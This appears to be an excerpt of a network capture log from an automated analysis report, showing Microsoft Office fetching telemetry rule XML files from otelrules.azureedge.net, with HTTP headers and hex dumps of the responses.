2024-10-30 05:17:13 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:13 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:13 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:13 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051713Z-15b8d89586fnsf5zkvx8tfb0zc00000002u0000000001z6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:13 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:13 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:14 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:13 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051713Z-16849878b78j5kdg3dndgqw0vg00000009a0000000008xt0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:14 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:14 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:14 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:14 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051714Z-16849878b78bjkl8dpep89pbgg00000006ag00000000598e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:14 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:14 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:14 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:14 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: cdf7bdf1-501e-0029-3f94-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051714Z-17c5cb586f626sn8grcgm1gf800000000630000000004vz2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:14 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:14 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:14 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:14 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 174e4ed1-f01e-0052-3d1b-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051714Z-16849878b787wpl5wqkt5731b4000000087000000000qmb2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:14 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:14 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:14 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:14 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d0af8e75-601e-0050-7953-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051714Z-17c5cb586f6mkpfkkpsf1dpups00000002t000000000e65g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:14 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:14 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:14 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:14 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051714Z-16849878b78p8hrf1se7fucxk800000008e000000000b8r3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:14 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:15 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:15 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:15 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: fae3f4c7-d01e-0017-0559-27b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051715Z-15b8d89586fwzdd8urmg0p1ebs0000000k5g00000000bfxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:15 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:15 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:15 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:15 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 2bf39245-301e-0020-6c4d-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051715Z-17c5cb586f6gkqkwd0x1ge8t040000000870000000000vzf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:15 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:15 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:15 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:15 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051715Z-16849878b78bcpfn2qf7sm6hsn000000093000000000m5as x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:15 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:15 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:15 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:15 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051715Z-16849878b78q9m8bqvwuva4svc000000063000000000ac7m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:15 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 